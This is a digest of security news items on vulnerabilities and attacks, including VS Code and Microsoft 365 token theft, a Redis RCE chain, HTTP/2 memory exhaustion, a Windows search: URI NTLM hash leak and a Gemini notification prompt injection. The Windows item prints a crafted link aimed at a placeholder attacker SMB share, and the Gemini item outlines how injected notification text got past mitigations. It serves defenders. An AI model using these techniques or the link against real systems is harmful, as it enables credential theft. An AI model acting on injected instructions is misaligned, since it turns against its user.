Security researcher Ammar Askar has released exploit code for an unpatched VS Code zero-day that lets attackers steal GitHub OAuth tokens with a single click. The flaw abuses VS Code's sandboxed webview message-passing system: malicious JavaScript in a webview simulates keypresses in the main editor to install a malicious extension that captures the GitHub OAuth token github.com POSTs to github.dev. The token is not scoped to a single repo - it grants full access to every private repository the victim can reach. No CVE has been assigned and there is no patch. Users can mitigate by clearing github.dev cookies and on-device site data, which restores the sign-in prompt.
Offensive-security firm Calif, with discovery work performed by OpenAI's Codex software agent, has disclosed HTTP/2 Bomb, a denial-of-service attack that crashes web servers from a single machine in seconds. It works against default HTTP/2 configurations of NGINX, Apache, Microsoft IIS, Envoy, and Cloudflare Pingora. The technique combines HPACK header-compression amplification (one attacker byte triggering thousands of bytes of server allocation, up to 5,700:1 on Envoy) with Slowloris-style flow-control stalling via zero-byte windows that prevents the memory from ever being freed. A home computer on a 100 Mbps link can force Apache or Envoy to hold 32 GB of RAM in roughly 20 seconds, bypassing existing header-size defenses.
Enclave researchers have disclosed FlagLeft, a flaw in Microsoft 365 Android apps that let any local app steal account tokens because a shared Microsoft SDK shipped with setIsDebugMode(true) left in production code, skipping the check that should reject untrusted apps requesting SSO handoff. The leaked FOCI single-sign-on tokens can be refreshed and reused over long periods, with traffic that looks routine in logs. It affected Word, PowerPoint, Excel, Microsoft 365 Copilot, Loop, and OneNote (billions of downloads); Teams shipped the flag false and was unaffected. Microsoft issued four CVEs on May 12 (CVE-2026-41100/41101/41102/42832). The patched Android Word build is 16.0.19822.20190; a malicious on-device app is all it takes.
Team Xint Code has disclosed CVE-2026-23479, a use-after-free remote code execution flaw in Redis that sat unnoticed in every stable branch from 7.2.0 until the May 5 fixes - over two years. The bug lives in unblockClientOnKey(), which keeps using a client pointer after processCommandAndResetClient() can free it. Exploitation needs an authenticated session, but Wiz's analysis finds Redis in most cloud environments with the majority running passwordless, where the default user already holds every privilege the exploit chain requires. The published exploit leaks a heap pointer via Lua, reclaims a freed client with a fake structure, and overwrites a GOT entry to repoint strcasecmp() at system(). NVD rates it 8.8.
Acer is working to patch two maximum-severity zero-days in its Wave 7 mesh routers running firmware T7c_GBL_1.01.000055 or earlier, reported by researcher Gergo Pap. CVE-2026-49200 is a broken-access-control flaw: the acer_cgi.log file is reachable without authentication via the web interface and contains cleartext web and Telnet login credentials, leading to unauthorized system access. CVE-2026-49201 stems from a hardcoded AES key in the upload.cgi backup-processing binary, letting unauthenticated remote attackers decrypt, modify, and re-encrypt system backups to inject a persistent backdoor. No patches are available yet; Acer targets fixes by the end of June 2026 and urges users to update immediately once released.
Huntress has disclosed an unpatched Windows vulnerability in the search: URI handler that can leak a user's NTLMv2 hash to an attacker. It mirrors CVE-2026-33829 - the Snipping Tool ms-screensketch: handler flaw Microsoft patched in April - achieving the same end via search:query and crumb=location: parameters pointing at an attacker UNC path (for example, search:query=test&crumb=location:\\attacker\share). If the user approves launching the crafted link from a web page or email, Windows connects to the attacker's SMB server and discloses the Net-NTLMv2 hash, which can be relayed or cracked to authenticate as the user. No patch is currently available; defenders should block outbound SMB and apply Huntress mitigations.
SafeBreach's Or Yair has demonstrated Fake Context Alignment, a technique that hijacks Google Gemini's voice assistant on Android through malicious notifications from apps like WhatsApp and Slack - no malicious app on the phone required. Gemini's Utilities feature reads and acts on notification text as if it were instructions, an attack surface Yair calls 'effectively infinite.' The bypass runs two illusions at once: it poses the real authorization question in a language the victim does not speak, defeating Google's post-Invitation prompt-injection mitigations. It can fake a boss's message, open windows, force a Zoom call, or poison long-term memory. Google has patched it; no CVE was assigned.
Proofpoint has detailed TA4922, a Chinese-speaking financially-motivated cybercrime group that has expanded from East Asia into Europe, deploying the previously undocumented Atlas backdoor against organizations in Germany, Italy, the UK, and South Africa. Since March its tempo has surged - Proofpoint says TA4922 now runs more unique campaigns than any other cybercrime actor in its data. Lures impersonate payroll notices, tax audits, VAT filings, compliance notices, invoices, and HR communications, with follow-up contact via WhatsApp, LINE, and Microsoft Teams. The group overlaps with activity reported as Silver Fox and Void Arachne. Proofpoint believes the rapidly expanding malware arsenal is being accelerated with LLMs, citing AI-generated code patterns and placeholder values.
CISA, the FBI, the NSA, the Department of Energy, and partners have warned that threat actors are targeting internet-exposed automatic tank gauge (ATG) systems used to monitor fuel and liquid storage across the Energy, Chemical, Food and Agriculture, and Transportation sectors. Attackers gain access via authentication-bypass flaws, hardcoded credentials, OS command-execution bugs, SQL injection, and privilege escalation, then modify network settings, product identifiers, tank volumes, and pump controls, and can disable alerts - raising the risk of leaks or equipment failure. The advisory does not formally attribute the activity, but it follows May CNN reporting linking Iranian hackers to similar ATG breaches. Agencies urge removing ATG systems from the internet.
Have I Been Pwned has added US dental-benefits provider DentaQuest to its breach corpus with 2,553,599 unique email addresses. DentaQuest is one of the largest dental and vision benefits administrators in the United States, serving Medicaid, Medicare, and commercial members. As is typical for HIBP additions, the underlying breach source and disclosure details are not published alongside the entry, but the listing lets individuals and organizations check whether their accounts appear in the leaked dataset. Healthcare and insurance data carries elevated risk: affected members should anticipate benefits-themed phishing, claim-status lures, and identity-theft attempts, and should rotate any reused passwords. It is among the larger US healthcare-adjacent breaches surfacing recently.
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